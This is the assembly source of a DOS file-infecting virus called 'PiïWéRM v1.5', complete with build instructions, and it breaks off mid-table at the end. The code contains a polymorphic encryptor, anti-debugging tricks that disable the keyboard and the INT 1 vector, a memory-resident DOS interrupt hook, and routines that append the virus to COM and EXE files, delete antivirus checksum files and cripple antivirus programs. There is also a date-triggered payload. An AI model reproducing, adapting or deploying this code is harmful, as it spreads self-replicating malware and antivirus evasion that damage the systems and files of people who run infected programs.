; **Beta Code** ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ ; PiïWéRM v1.5 coded by ûirogen °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ; þ Variant A °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ------ ; ; See enclosed NFO for more info.. ; ; version 1.5: ; þ Conditional compilation equates added for creation of new variants ; þ Improved polymorphic engine ; þ Fixed possible bug in polymorphic engine after 50 or so generations ; ; ; compile like so: ; TASM /m pinworm ; Tlink pinworm ; --convert to COM-- ; cseg segment assume cs: cseg, ds: cseg, es: cseg, ss: cseg ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Compile Options °°°°°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ SECOND_CRYPT equ 0 ; use second cryptor? INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? ; (slows the loop down alot) KILL_AV equ 1 ; Kill AVs as executed? KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? TWO_BYTE equ 1 ; Use two byte garbage code? KILL_DATE equ 19 ; day of the month to play with user MAX_EXE equ 4 ; max exe file size -high byte MSG_FILEZ equ 10 ; number of filenames for our msg ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Polymorphic Engine Equates °°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ INC_BUF_SIZE equ 38 ; INC buf ENC_OP_BSIZE equ 38 ; ENC buf PTR_BUF_SIZE equ 38 ; PTR buf CNT_BUF_SIZE equ 38 ; CNT&OP DJ_BUF_SIZE equ 38 ; DEC&JMP GARBAGE_OPS equ 0Fh ; # of garbage ops in each group ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Misc. °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ enc_size equ offset first_crypt-offset encrypt enc2_size equ offset code_start-offset first_crypt signal equ 0FA01h ; AX=signal/INT 21h/installation chk vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API real_start equ offset dj_buf+3 ; starting location of encryted code org 0h start: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Polymorphic Encryptor/Decryptor Buffer ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; encrypt: ptr_buf db PTR_BUF_SIZE dup (90h) encryptor: cnt_buf db CNT_BUF_SIZE dup(90h) enc_loop: inc_buf db INC_BUF_SIZE dup(90h) enc_op_buf db ENC_OP_BSIZE dup(90h) dj_buf db DJ_BUF_SIZE dup (90h) ret_byte db 090h ; C3h or a NOP equiv. first_crypt: ; end of first cryptor ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Second Decryptor - Anti-Debugging °°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; þ Uses reverse direction word XOR encryption ; þ Uses the following techniques: ; ð JMP into middle of operand ; ð Replace word after CALL to kill stepping over call ; ð Kills INT 1 vector ; ð Disables Keyboard via Port 21h ; ð Reverse direction encryption prevents stepping past loop ; ð Uses SP as a crucial data register in some locations - if ; the debugger uses the program's stack, then it may very well ; phuck thingz up nicely. ; ð Uses Soft-Ice INT 3 API to lock it up if in memory. ; sti ; fix CLI in garbage code db 0BDh ; MOV BP,XXXX bp_calc dw 0100h push ds es ; save segment registers for EXE IF SECOND_CRYPT push ds dbg1: jmp mov_si ; 1 db 0BEh ; MOV SI,XXXX mov_si: db 0BEh ; MOV SI,XXXX rel2_off dw offset heap+1000h ; org copy: ptr way out there call shit add_bp: int 19h ; fuck 'em if they skipped jmp in_op ; 1 db 0BAh ; MOV DX,XXXX in_op: in al,21h push ax or al,02 jmp kill_keyb ; 1 db 0C6h kill_keyb: out 21h,al ; keyboard=off call shit6 past_shit: jmp dbl_crypt shit7: xor ax,ax ;null es mov es,ax mov bx,word ptr es: [06] ;get INT 1 ret shit: mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister ret shit2: mov word ptr cs: dec_si[bp],4E4Eh mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother call shit3 jnc code_start ;did they skip shit3? xor dx,cx ret db 0EAh ;JMP FAR X:X shit4: db 0BAh ;MOV DX,XXXX sec_enc dw 0 mov di,4A4Dh ;prepare for Soft-ice ret shit3: mov ax,911h ;soft-ice - execute command call shit4 stc dec word ptr es: [06] ;2-kill INT 1 vector push si mov si,4647h ;soft-ice int 3 ;call SI execute - DS:DX-garbage pop si ret shit6: mov byte ptr cs: past_shit[bp],0EBh out 21h,al ; try turning keyboard off again ret dbl_crypt: ; main portion of cryptor mov cx,(offset heap-offset ret2_byte)/2+1 call shit7 dbl_loop: jmp $+3 ; 1 db 034h ; XOR ... call shit3 ; nested is the set DX xchg sp,dx ; xchg SP and DX jmp xor_op ; 1 db 0EAh ; JMP FAR X:X xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. xchg sp,dx ; restore SP call shit2 dec_si: pop ss ; fuck 'em if they skipped shit2 pop sp int 3 xchg sp,bx ; SP=word of old int 1 vec dec cx mov es: [06],sp ; restore int 1 vector xchg sp,bx ; restore SP jnz dbl_loop ret2_byte db 90h,90h ENDIF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Start of Viral Code °°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ code_start: IF SECOND_CRYPT pop ax es ; Get port reg bits (ES=PSP) out 21h,al ; restore keyboard ENDIF mov cs: activate[bp],0 ; reset activation toggle mov cs: mem_word[bp],0 ; reset mem. encryption inc si ; SI!=0 mov dx,vsafe_word ; remove VSAFE/VWATCH from memory mov ax,0FA01h ; & check for residency of virus too int 21h or si,si ; if SI=0 then it's us jz no_install mov ah,2ah ; get date int 21h cmp dl,KILL_DATE ; is it time to activate? jnz not_time mov cs: activate[bp],1 not_time: mov ax,es ; PSP segment - popped from DS dec ax ; mcb below PSP m0n mov ds,ax ; DS=MCB seg cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? jnz no_install sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP mov es,word ptr ds: [12h] ; get high mem seg push cs pop ds mov si,bp mov cx,(offset vend - offset start)/2+1 xor di,di rep movsw ; copy code to new seg xor ax,ax mov ds,ax ; null ds push ds lds ax,ds: [21h*4] ; get 21h vector mov es: word ptr old21+2,ds ; save S:O mov es: word ptr old21,ax pop ds mov ds: [21h*4+2],es ; new int 21h seg mov ds: [21h*4],offset new21 ; new offset call get_timer cmp dl,5 jle no_install sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem no_install: xor si,si ; null regs.. xor di,di ; some progs actually care.. xor ax,ax xor bx,bx xor dx,dx pop es ds ; restore ES DS cmp cs: exe_phile[bp],1 jz exe_return lea si,org_bytes[bp] ; com return mov di,0100h ; -restore first 4 bytes movsw movsw mov ax,100h ; jump back to 100h push ax _ret: ret exe_return: mov cx,ds ; calc. real CS add cx,10h add word ptr cs: [exe_jump+2+bp],cx int 3 ; fix prefetch cli mov sp,cs: oldsp[bp] ; restore old SP.. sti db 0eah exe_jump dd 0 oldsp dw 0 exe_phile db 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Infection Routine °°°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; DS:DX=fname ; Assumes EXE if first byte is 'M' or 'Z' ; Changes/Restores attribute and time/date ; ; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's ; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it ; unusable. ; infect_file: mov di,dx ; move filename ptr into an index reg push ds ; search for end of filename(NULL) pop es xor ax,ax mov cx,128 repnz scasb cmp word ptr [di-3],'EX' ;.eXE? jz is_exec chk_com: cmp word ptr [di-3],'MO' ;.cOM? jnz _ret is_exec: IF KILL_AV mov cs: isav,0 cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV jz anti_action cmp word ptr [di-7],'TO' ;*OT.*? F-PROT jz anti_action cmp word ptr [di-7],'NA' ;*AN.*? jnz name_ok cmp word ptr [di-9],'CS' ;*SCAN.*? jnz name_ok anti_action: inc cs: isav ; set mark for anti-virus kill name_ok: ENDIF push ds ; save fname ptr segment mov es,ax ; NULL ES (ax already 0) lds ax,es: [24h*4] ; get INT 24h vector mov old_24_off,ax ; save it mov old_24_seg,ds mov es: [24h*4+2],cs ; install our handler mov es: [24h*4],offset new_24 pop ds ; restore fname ptr segment push es push cs ; push ES for restoring INT24h later pop es ; ES=CS mov ax,4300h ; get phile attribute int 21h mov ax,4301h ; null attribs 4301h push ax cx ds dx ; save AX-call/CX-attrib/DX:DS xor cx,cx ; zero all int 21h mov bx,signal mov ax,3d02h ; open the file int 21h jc close ; if error..quit infection xchg bx,ax ; get handle push cs ; DS=CS pop ds IF KILL_CHKLIST call kill_chklst ; kill CHKLIST.MS & .CPS filez ENDIF mov ax,5700h ; get file time/date int 21h push cx dx ; save 'em for later mov ah,3fh ; Read first bytes of file mov cx,18h ; EXE header or just first bytes of COM lea dx,org_bytes ; buffer used for both int 21h call offset_end ; set ptr to end- DXAX=file_size cmp byte ptr org_bytes,'M' ; EXE? jz do_exe cmp byte ptr org_bytes,'Z' ; EXE? jz do_exe cmp byte ptr org_bytes+3,0 ; CoM infected? jz d_time dec exe_phile push ax ; save file size add ax,100h ; PSP in com mov rel_off,ax ; save it for decryptor mov bp_calc,ax call encrypt_code ; copy and encrypt code lea dx,vend ; start of newly created code mov cx,offset heap+0FFh ; virus length+xtra add cl,size_disp ; add random ^in case cl exceeds FF mov ah,40h int 21h ; append virus to infected file call offset_zero ; position ptr to beginning of file pop ax ; restore COM file size sub ax,3 ; calculate jmp offset mov word ptr new_jmp+1,ax ; save it.. lea dx,new_jmp ; write the new jmp (E9XXXX,0) mov cx,4 ; total of 4 bytes mov ah,40h int 21h d_time: pop dx cx ; pop date/time mov ax,5701h ; restore the mother fuckers int 21h close: mov ah,3eh ; close phile int 21h pop dx ds cx ax ; restore attrib int 21h dont_do: pop es ; ES=0 lds ax,dword ptr old_24_off ; restore shitty DOS error handler mov es: [24h*4],ax mov es: [24h*4+2],ds ret ; return back to INT 21h handler do_exe: cmp dx,MAX_EXE jg d_time mov exe_phile,1 IF KILL_AV cmp isav,1 ; anti-virus software? jnz not_av mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh jmp write_hdr not_av: ENDIF cmp word ptr exe_header[12h],0 ; checksum 0? jnz d_time mov cx,mem_word ; get random word inc cx ; make sure !0 mov word ptr exe_header[12h],cx ; set checksum to!0 mov cx,word ptr exe_header[10h] ; get old SP mov oldsp,cx ; save it.. mov word ptr exe_header[10h],0 ; write new SP of 0 les cx,dword ptr exe_header[14h] ; Save old entry point mov word ptr exe_jump, cx ; off mov word ptr exe_jump[2], es ; seg push cs ; ES=CS pop es push dx ax ; save file size DX:AX cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) jz pklited cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE jge d_time pklited: mov bp, word ptr exe_header+8h ; calc. new entry point mov cl,4 ; *10h shl bp,cl ; ^by shifting one byte sub ax,bp ; get actual file size-header sbb dx,0 mov cx,10h ; divide me baby div cx mov word ptr exe_header+14h,dx ; save new entry point mov word ptr exe_header+16h,ax mov rel_off,dx ; save it for encryptor mov bp_calc,dx call encrypt_code ; encrypt & copy the code mov cx,offset heap+0FFh ; virus size+xtra add cl,size_disp ; add random ^in case cl exceeds FFh lea dx,vend ; new copy in heap mov ah,40h ; write the damn thing int 21h pop ax dx ; AX:DX file size mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below add cl,size_disp adc ax,cx mov cl,9 ; calc new alloc (512) push ax shr ax,cl ror dx,cl stc adc dx,ax pop ax and ah,1 mov word ptr exe_header+4h,dx ; save new mem. alloc info mov word ptr exe_header+2h,ax write_hdr: call offset_zero ; position ptr to beginning mov cx,18h ; write fiXed header lea dx,exe_header mov ah,40h int 21h jmp d_time ; restore shit/return ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Kills CHKLIST.CPS and CHKLIST.MS °°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; kill_chklst: mov di,2 ; counter for loop lea dx,chkl1 ; first fname to kill kill_loop: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h ; delete phile int 21h lea dx,chkl2 ; second fname to kill dec di jnz kill_loop ret ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Set File PTR °°°°°°°°°°°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ offset_zero: ; self explanitory xor al,al jmp set_fp offset_end: mov al,02h set_fp: mov ah,42h xor cx,cx xor dx,dx int 21h ret ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Morph, copy, & crypt °°°°°°°°°°°°°°°°°° ; 0 bytes constant ; 0 functionally equivilant operands in constant locations ; ; Random byte defined as: ; 76543210 ; ³³³³³³³ÀÄ 0=JNZ,1=JNS ; ³³³³³³ÀÄÄ 0=ADD&SUB, 1=XOR ; ³³³³³ÀÄÄÄ 0=BYTE CRYPTION, 1=WORD CRYPTION ; ³³³³ÀÄÄÄÄ 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND ; ³³³ÀÄÄÄÄÄ 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY ; ³³ÀÄÄÄÄÄÄ not used ; ³ÀÄÄÄÄÄÄÄ not used ; ÀÄÄÄÄÄÄÄÄ not used ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ encrypt_code: push bx ; save the handle call get_timer IF SECOND_CRYPT mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor mov byte ptr sec_enc+1,dh ENDIF mov ax,0FFFFh call random mov enc_num,dl ; store ms count for encryption mov mem_word,dx ; mem cryption too mov size_disp,dl ; and size displacment ;ÄÄÄÄ Fill buffer space with one-byte garbage ops lea di,encrypt mov bp,enc_size+1 mov bl,1 ; one byterz.. call fill_buffer ;ÄÄÄÄ Randomly select between jmp type : JNZ or JNS test enc_num,00000001b jnz jmp_2 mov byte ptr jnz_op,75h ; use jnz jmp jmp_set jmp_2: mov byte ptr jnz_op,79h ; jns jmp_set: ;ÄÄÄÄ Select encryption type: XOR or ADD&SUB mov enc_type,04 ; default to encrypting ADD mov dec_type,2Ch ; and decrypting SUB test enc_num,00000010b jz use_add_sub mov dec_type,34h ; decrypting XOR mov enc_type,34h ; encrypting XOR use_add_sub: ;ÄÄÄ Change register used for the counter cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI jnz get_reg mov byte ptr count_op,0B7h ; AX-1 mov byte ptr dec_op,47h ; AX-1 get_reg: inc byte ptr count_op ; increment to next register in line inc byte ptr dec_op ;ÄÄÄÄ Select position of INC DI|SI mov ax,INC_BUF_SIZE-1 call random ; select a position in the buffer.. xchg di,dx add di,offset inc_buf mov inc_op_ptr,di ; save ptrs mov inc_op_ptr2,di ;ÄÄÄÄ Toggle between SI and DI cmp byte ptr ptr_set,0BEh ; using SI? jz chg_di ; if so, then switch to DI mov byte ptr [di],46h ; write INC SI dec byte ptr ptr_set ; decrement to SI jmp done_chg_ptr chg_di: mov byte ptr [di],47h ; write INC DI inc byte ptr ptr_set ; increment to DI inc byte ptr dec_type ; increment decryptor inc byte ptr enc_type ; increment encryptor done_chg_ptr: ;ÄÄÄÄ Select word or byte encryption mov w_b,80h ; default to byte cryption test enc_num,00000100b ; use word? jz use_byte mov w_b,81h ; now using word en/decryptor mov ax,di sub ax,offset inc_buf+1 call random mov ch,byte ptr [di] ; get INC DI|INC SI operand sub di,dx mov byte ptr [di],ch ; make a copy of it for word cryption mov inc_op_ptr2,di use_byte: ;ÄÄÄÄ Increment counter value cmp byte ptr crypt_bytes,0Fh ; byte count quite large? jnz inc_cnt ; if not..increment away mov crypt_bytes,offset vend ; else..reset byte count inc_cnt: inc crypt_bytes ; increment byte count ;ÄÄÄÄ Set DEC XX /JNS|JNZ operands mov ax,DJ_BUF_SIZE-3 call random ; select a pos. add dx,offset dj_buf mov di,dx sub dx,offset enc_loop-3 ; find loop size neg dx ; negate for negative jump mov byte ptr jnz_op+1,dl ; write jmp offset dec dl mov byte ptr loop_ofs,dl ; write loop offset mov dec_op_ptr,di lea si,dec_op movsb ; write operand(s) write_loop: movsw inc di add rel_off,di ; chg offset for decryption push di ; save offset after jmp ;ÄÄÄÄ Set MOV DI,XXXX|MOV SI,XXXX mov ax,PTR_BUF_SIZE-3 call random ; select pos. xchg dx,di add di,offset ptr_buf ; build ptr mov ptr_op_ptr,di ; save ptr lea si,ptr_set movsw ; write op movsb ;ÄÄÄÄ Set MOV AX|BX|DX|CX,XXXX mov ax,CNT_BUF_SIZE-3 call random ; select pos. xchg dx,di add di,offset cnt_buf ; build ptr mov count_op_ptr,di ; save ptr lea si,count_op movsw ; write op movsb ;ÄÄÄÄ Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX mov ax,ENC_OP_BSIZE-5 call random ; select pos. xchg dx,di add di,offset enc_op_buf ; build ptr mov enc_op_ptr,di ; save ptr lea si,seg_op movsw ; write op movsw IF TWO_BYTE ;ÄÄÄÄ Throw in some 2 byte garbage ops test enc_num,00010000b ; use two-byte garbage? jz no_2byte_grb lea di,encrypt mov bp,ptr_op_ptr push bp call fill_between pop di add di,3 ; 3bytez large mov bp,count_op_ptr push bp call fill_between ; fill between start and count reg pop di add di,3 ; 3bytez large mov bp,inc_op_ptr2 push bp call fill_between ; fill between count reg and inc ptr pop di inc di ; 1byte large mov bp,inc_op_ptr push bp call fill_between ; if another inc ptr op exist, then pop di ; .. fill in between both of them inc di ; 1byte large mov bp,enc_op_ptr push bp call fill_between ; fill between inc ptr and encryption pop di ; ..op add di,5 ; 5bytez large mov bp,dec_op_ptr call fill_between ; fill between encryption op and loop no_2byte_grb: ENDIF ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;°°°°°°°°[END OF POLYMORPHIC ENGINE]°°°°°°°°°°°°° ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ÄÄÄÄ FiX second cryptor offset IF SECOND_CRYPT mov rel2_off,offset heap ;first gen has mispl. off ENDIF ;ÄÄÄÄ Copy virus code along with decryptor to heap mov cx, (offset heap-offset start)/2+1 xor si,si lea di,vend ; ..to heap for encryption rep movsw ; make another copy of virus IF SECOND_CRYPT ;ÄÄÄÄ Call second encryptor first mov si,offset vend ; offset of enc. start.. add si,offset heap ; ..at end of code mov ret2_byte,0C3h xor bp,bp call dbl_crypt mov ret2_byte,90h ENDIF ;ÄÄÄÄ Set ptr to heap for encryption pop si ; pop offset after jmp add si,offset vend ; offset we'z bez encrypting mov di,si ; we might be using DI too ;ÄÄÄÄ Encrypt the mother fucker mov ret_byte,0C3h ; put RET mov al,enc_type mov bx,enc_op_ptr mov byte ptr [bx+2],al ; set encryption type call encryptor ; encrypt the bitch pop bx ; restore phile handle ret ; return ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Garbage Code Filler °°°°°°°°°°°°°°°°°° ; DS:DI = buffer address ; BP = buffer size ; BL = 1 - Use 1 byte random garbage ops ; = 2 - Use 2 byte random garbage ops ; ; Decently random..relies on previously encrypted data and MS from clock ; to form pointer to the next operand to use.. ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; fill_buffer: push ax mov ax,GARBAGE_OPS call random pop ax mov si,dx ; build index ptr IF TWO_BYTE cmp bl,1 ; using 1 byte, or 2 byte ops? jnz word_grb ENDIF mov al,byte ptr [nops_1+si] ; get 1byte operand from table mov byte ptr [di],al ; write operand IF TWO_BYTE jmp did_1byte word_grb: cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin jnz di_ok di_not_ok: mov al,byte ptr [nops_1+si] ; get 1byte op mov ah,al ; duplicate jz couldnt_do_2 di_ok: cmp di,offset encryptor-1 ; don't put 2byte op at call begin jz di_not_ok add si,si ; double pointer for word offsets mov ax,word ptr [nops_2+si] ; get garbage op couldnt_do_2: mov word ptr [di],ax ; write op inc di ; increment ptr dec bp ; decrement counter jz _fret did_1byte: ENDIF inc di ; increment buffer ptr dec bp ; decrement counter jnz fill_buffer ; loop _fret: ret IF TWO_BYTE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Fill Bytes Between Two Ops /w Garb.°°°° ; DS:DI=First Op ; DS:BP=Last Op ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ fill_between: sub bp,di ; get difference of offsets cmp bp,4 ; if <4 then not 'nuff room jl not_room sub bp,2 ; make sure we don't overwrite last op mov bl,2 ; use 2byte garbage ops call fill_buffer not_room: ret ENDIF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Get sec/ms from clock °°°°°°°°°°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ get_timer: push ax mov ah,2ch ; get clock int 21h mov ran_seed,dx pop ax ret ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Get Random Number °°°°°°°°°°°°°°°°°°°°° ; AX=max number ; ret: DX=random # [will not return 0] ; ROUTINE PARTIALLY FROM: TP6.0 BOOK ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ random: push ax mov ax,ran_seed mov cx,31413 mul cx add ax,13849 mov ran_seed,ax pop cx mul cx cmp dx,0 jnz ran_ok inc dx ran_ok: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Associated bullshit ; chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum pin_dir db 255,'PIïWérM.ûg!',0 ; DIR created root db '..',0 ; for changing to org. dir file1 db 'PIïWérMÿ',0 ; filez created in dir.. db 'versionÿ',0 ; must be 8 chars each+null db '1-5á-Aÿÿ',0 ; (255 not space) db 'ÄÄÄÄÄÄÄÄ',0 db 'Dedicate',0 db 'dÿtoÿTKS',0 db '-ÄÄÄÄÄ-Ä',0 db 'ÿÿCodedÿ',0 db 'ÿÿÿbyÿÿÿ',0 db 'ÿûirogen',0 ; #9 activate db 0 isav db 0 new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) ran_seed dw 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Polymorphic engine data °°°°°°°°° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ inc_op_ptr dw offset inc_buf ; ptr to location of INC enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos count_op_ptr dw offset cnt_buf ; ptr to counter reg pos dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos inc_op_ptr2 dw 0 seg_op db 2Eh ; CS w_b db 80h ; byte=80h word=81h dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX enc_num db 0 enc_type db 2Ch ptr_set db 0BEh ; MOV DI|SI,XXXX rel_off dw real_start+100h count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX crypt_bytes dw offset vend-offset dj_buf dec_op: dec ax ; DEC AX|BX|CX|DX jnz_op db 75h,0 ;loop_op db 0E2h ; LOOP XX loop_ofs db 0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° One-byte Garbage Operands (must be 16)° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ nops_1: nop IF INCLUDE_INT3 int 3 ELSE cld ENDIF into inc bp dec bp cld nop stc cmc clc stc into cli sti inc bp IF INCLUDE_INT3 int 3 ELSE nop ENDIF IF TWO_BYTE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; °°°°°°° Two-byte Garbage Operands (must be 16)° ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ nops_2: db 0EBh,0 ; JMP $+2 db 74h,0 ; JZ $+2 db 75h,0 ; JNZ $+2 db 7Ch,0 ; JL $+2 db 